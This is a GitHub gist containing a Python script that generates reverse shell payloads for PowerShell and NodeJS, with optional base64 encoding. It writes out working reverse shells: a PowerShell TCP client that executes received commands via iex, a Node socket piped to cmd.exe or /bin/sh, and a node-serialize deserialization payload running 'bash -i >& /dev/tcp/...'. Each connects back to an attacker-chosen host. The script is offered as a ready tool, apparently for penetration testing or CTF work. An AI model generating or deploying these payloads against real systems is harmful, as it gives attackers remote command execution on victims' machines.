Skip to content

Instantly share code, notes, and snippets.

@klezVirus
Created September 17, 2020 12:22
Show Gist options
  • Save klezVirus/b969228f856f1455d71071a611484067 to your computer and use it in GitHub Desktop.
Save klezVirus/b969228f856f1455d71071a611484067 to your computer and use it in GitHub Desktop.
Simple script to generate reverse shell payloads for PowerShell and NodeJS
#!/usr/bin/python3
import argparse
import sys, os
import ipaddress
import base64
from tempfile import NamedTemporaryFile as ntf
from subprocess import run
class Encoder:
def __init__(self, alg=None):
self.alg = alg
def encode(self, payload):
if self.alg == 'b64':
if payload.getlanguage() == 'ps':
return base64.b64encode(payload.shell().encode('utf-16le')).decode('utf-8')
else:
return base64.b64encode(payload.shell().encode('utf-8')).decode('utf-8')
elif self.alg == 'b64e':
return base64.b64encode(payload.shell().encode('utf-16le')).decode('utf-8')
elif self.alg == 'b64x':
return base64.b64encode(payload.shell().encode('utf-8')).decode('utf-8')
else:
return payload.shell()
class Payload:
def __init__(self, language=None, lhost=None, lport=None, platform=None):
self.lhost = lhost
self.lport = lport
self.language = language
self.platform = platform
self.reverseshell= None
def shell(self):
return self.reverseshell
def getlanguage(self):
return self.language
def getplatform(self):
return self.platform
def generate(self):
if not (self.language):
raise ValueError("The shell language must be specified")
if not (self.lhost):
raise ValueError("The local IP must be specified")
if not (self.lport):
raise ValueError("The local port must be specified")
if self.language == 'ps':
if self.platform == "linux":
print("[-] Incompatible platform")
sys.exit(1)
shell = "$client=New-Object System.Net.Sockets.TCPClient('" + self.lhost + "'," + str(self.lport) + ");$stream=$client.GetStream();[byte[]]$bytes=0..65535|%{0};"
shell += "while(($i = $stream.Read($bytes,0,$bytes.Length)) -ne 0){;$data=(New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0,$i);"
shell += "$sendback=(iex $data 2>&1|Out-String);$sendback2=$sendback+'PS '+(pwd).Path + '> ';$sendbyte=([text.encoding]::ASCII).GetBytes($sendback2);"
shell += "$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()};"
self.reverseshell = shell
return True
elif self.language == 'node':
sh = "cmd.exe" if self.platform == "windows" else "/bin/sh"
shell = '(function(){ var net=require("net"),cp=require("child_process")'
shell += ',sh=cp.spawn("{}", []);var client=new net.Socket();client.connect({}, "{}", function()'.format(sh, self.lport, self.lhost)
shell += '{client.pipe(sh.stdin);sh.stdout.pipe(client);sh.stderr.pipe(client);});'
shell += 'return /a/; })();' # Prevents NodeJS app from crashing
self.reverseshell = shell
return True
elif self.language == 'node-serialize':
import subprocess
program = "var y = {"
program += "rce : function(){"
program += "require('child_process').exec(" + "'bash -i >& /dev/tcp/{0!s}/{1!s} 0>&1'".format(self.lhost, self.lport) + ", function(error, stdout, stderr) { console.log(stdout) });"
program += "},"
program += "};"
program += "var serialize = require('node-serialize');"
program += "console.log(serialize.serialize(y));"
with ntf(dir="/root/bin/lib/", mode="w", suffix=".js", delete=False) as f:
f.write(program)
jsfile = f.name
print(jsfile)
out = run(["nodejs",jsfile] ,capture_output=True)
shell = out.stdout.decode("utf-8")[:-3] + '()"}'
#os.unlink(jsfile)
self.reverseshell = shell
return True
else:
return False
def validate_ip(ip):
try:
ipaddress.ip_address(ip)
return True
except:
return False
def validate_port(port):
try:
return True if (int(port) >= 21 and int(port) <= 65535) else False
except:
return False
def checkfile(filename):
try:
with open(filename,'w') as test:
test.write("")
return True
except:
return False
def platform(pstring):
if pstring is None:
return None
if pstring.lower().startswith("l"):
return "linux"
elif pstring.lower().startswith("w"):
return "windows"
else:
return None
def write(payload, file=None, debug=None):
print(payload)
if file:
with open(file, 'w') as outfile:
outfile.write(payload)
def main():
parser = argparse.ArgumentParser(description='Custom reverse shell generator')
#parser.add_argument(
# '-x', '--proxy', required=False, action="store_true", help='Proxy (for debugging)')
parser.add_argument(
'-f', '--format', required=True, type=str, choices= ['ps', 'node', 'node-serialize'], default=None, help='Reverse Shell Format')
parser.add_argument(
'-p', '--platform', required=False, type=str, default=None, help='Underling Operating System')
parser.add_argument(
'-e', '--encoder', required=False, type=str, choices= ['b64','b64e','b64x'], default=None, help='Encoder to use [b64 (auto), b64x (force utf-8), b64e (force utf-16le)]')
parser.add_argument(
'-d', '--debug', required=False, action="store_true", help='Enable debug output')
parser.add_argument(
'-o', '--output', required=False, type=str, default=None, help='Store the payload in a file')
parser.add_argument(
'-L', '--lhost', required=True, type=str, help='Local Listener IP')
parser.add_argument(
'-P', '--lport', required=True, type=str, help='Local Listener Port')
args = parser.parse_args()
plt = platform(args.platform)
encoder = Encoder(args.encoder)
payload = None
if validate_ip(args.lhost):
if validate_port(args.lport):
generator = Payload(args.format, args.lhost, args.lport, plt)
generator.generate()
else:
print("[-] Invalid port")
else:
print("[-] Invalid IP Address")
encoded_payload = encoder.encode(generator)
if checkfile(args.output):
write(encoded_payload, file=args.output, debug=args.debug)
else:
write(encoded_payload, file=None, debug=args.debug)
if __name__ == '__main__':
#requests.packages.urllib3.disable_warnings(InsecureRequestWarning)
main()
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment